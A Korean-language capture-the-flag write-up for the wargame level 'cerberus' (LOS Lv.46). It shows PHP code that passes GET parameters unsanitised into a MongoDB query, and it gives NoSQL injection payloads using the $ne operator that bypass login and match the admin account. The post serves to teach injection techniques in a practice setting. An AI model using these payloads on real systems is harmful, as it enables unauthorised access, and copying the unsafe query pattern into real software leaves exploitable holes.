Post

LOS Lv.46 cerberus

cerberus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
query : {"id":null,"pw":null}

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_cerberus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
  if($result['id'] === "admin") solve("cerberus");
  highlight_file(__FILE__);
?>

Solution

1
2
3
4
이번엔 monngodb임. 
mongodb는 여태했던 sql문을 쓰지 않음.

따라서 NOSQL(Non SQL) Injection을 사용해야 함.

https://www.netsparker.com/blog/web-security/what-is-nosql-injection/
NOSQL Cheat Sheet
MONGODB 설명

1
2
3
4
5
위 문제에서 입력값을 넣어주면 double quotes로 감싸져있고,

single quote 등을 입력하면 escape 처리를 해버림.

그래서 배열 형태로 입력해줘야함.

NOSQL 기본 형태는 다음과 같음.

1
2
3
4
{"id":{"$ne": 1},"pw":{"$ne": 1}}  

-> $ne 연산자는 not equal로 id와 pw 값이 1과 다르므로 true가 되서
   모든 값을 가져올 것임.

연산자가 매우 중요한 듯함.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$eq : == 

$gt : >

$gte : >=

$lt : <

$lte : <=

$ne : !=

$in : 주어진 배열에 속하는값

$nin : 주어진 배열에 속하지 않는 값 
1
2
?id[$ne]=1&pw[$ne]=1
??id=admin&pw[$ne]=1
This post is licensed under CC BY 4.0 by the author.